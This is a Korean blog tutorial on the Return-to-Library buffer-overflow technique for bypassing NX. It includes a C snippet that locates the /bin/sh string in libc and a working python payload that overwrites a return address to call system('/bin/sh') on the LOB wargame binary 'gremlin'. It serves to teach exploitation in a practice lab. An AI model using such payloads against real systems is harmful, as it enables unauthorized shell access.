본문 바로가기
Security/Pwnable

RTL이란? (Return to Library)

by J0DEV 2021. 8. 10.
반응형

RTL이란?

Return To Library의 약자로서

 

Return 주소에 시스템 함수의 주소를 덮어 씌우고 인자로 /bin/sh의 주소를 넣는 방법입니다.

 

공유 라이브러리(libc)는 스택상에 있는 것이 아니기 때문에 가능합니다.

 

주로 NX bit(프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술) 우회할 때 사용합니다. 

 

즉 쉘코드 없이 exploit 가능합니다!!

 

시스템함수의 인자는  +8 위치에 넣어줘야 합니다.

 

system() 또는 execl 함수는 ebp+8 위치의 값을 인자로 인식하기 때문입니다.

 

즉 공격을 할때

 

공유라이브러리의 시스템함수를 호출하고 (4) 더미값 (4) 그리고 인자값을 넣어주는 것입니다.

 

RTL공격 코드는

 

버퍼값 + 시스템함수 주소(4) + 더미값(4) + /bin/sh 주소

 

입니다.

 

 

여기서 /bin/sh의 주소를 가져와야하는데

 

크게 2가지 방법이 있습니다.

 

환경변수에 /bin/sh를 넣어 주소를 얻는 법과

 

코딩을 통해 얻는 법이 있습니다.

 

코드내용

#include <stdio.h>
int main () {
        long shell;
        shell=시스템함수주소;
        while (memcmp((void *)shell, "/bin/sh", 8)){
                shell++;
        }
        printf("%p\n", shell);
        return 0;
}

입니다.

 

실제로 공격을 한번 해보겠습니다.

LOB gate 문제에서 시현했습니다.

 

우선 gdb로 main에 break를 걸고

 

실행시킨후 시스템 함수의 주소를 찾습니다.

 

여기서는 0x40058ae0이군요

 

 

그리고 /bin/sh 주소를 찾는 코드를 작성합니다.

 

 

 

/bin/sh주소는 0x400fbff9입니다.

 

페이로드를 작성하면

buffer+SFP 260 + RET(system함수주소- 0x40058ae0) + 4바이트 아무거나 + 인자(/bin/sh주소 - 0x400fbff9)

입니다.

 

./gremlin `python -c 'print "A"*260+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

Fake EBP  (0) 2021.08.10
Frame Pointer Overwriting  (0) 2021.08.10
LOB Level20 xavius  (0) 2021.08.10
LOB Level 19 nightmare  (0) 2021.08.10
LOB Level 18 succubus  (0) 2021.08.10